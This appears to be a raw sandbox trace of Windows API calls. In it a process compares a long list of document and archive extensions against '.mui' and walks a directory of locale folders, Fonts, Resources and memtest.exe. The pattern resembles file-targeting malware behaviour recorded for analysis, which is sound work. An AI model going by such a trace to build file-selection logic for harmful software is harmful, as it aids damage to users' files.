	[0153.646] lstrlenW (lpString=".ppa") returned 4
	[0153.646] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".ppam") returned 5
	[0153.646] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".ppm") returned 4
	[0153.646] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".pps") returned 4
	[0153.646] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".ppsm") returned 5
	[0153.646] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".ppt") returned 4
	[0153.646] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.646] lstrlenW (lpString=".pptm") returned 5
	[0153.646] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0153.646] lstrlenW (lpString=".pptx") returned 5
	[0153.647] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0153.647] lstrlenW (lpString=".prn") returned 4
	[0153.647] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".ps") returned 3
	[0153.647] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0153.647] lstrlenW (lpString=".psb") returned 4
	[0153.647] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".psd") returned 4
	[0153.647] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".pst") returned 4
	[0153.647] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".ptx") returned 4
	[0153.647] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".pub") returned 4
	[0153.647] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".pwm") returned 4
	[0153.647] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".pxr") returned 4
	[0153.647] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".py") returned 3
	[0153.647] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0153.647] lstrlenW (lpString=".qt") returned 3
	[0153.647] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0153.647] lstrlenW (lpString=".r3d") returned 4
	[0153.647] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".raf") returned 4
	[0153.647] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0153.647] lstrlenW (lpString=".rar") returned 4
	[0153.647] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.648] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.648] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0153.648] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.648] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0153.648] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.648] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="en-US", cAlternateFileName="")) returned 1
	[0153.648] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.648] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0153.649] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.649] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0153.649] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.649] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0153.649] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.649] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0153.649] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.649] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0153.653] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.653] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0153.654] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.654] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0153.654] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.654] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0153.655] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.655] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0153.655] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.655] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0153.656] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.656] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0153.658] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.658] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0153.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.659] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0153.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.659] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0153.660] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.660] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0153.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.661] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0153.661] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.661] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0153.662] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.662] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0153.662] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.662] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0153.663] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.663] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0153.663] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.663] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0153.665] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.665] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="en-US", cAlternateFileName="")) returned 0
	[0153.665] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0153.665] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.665] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0153.666] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.666] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0153.666] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.666] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0153.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.667] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0153.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.667] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0153.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.668] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0153.668] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.668] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0153.669] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.669] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0153.669] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.669] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0153.670] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
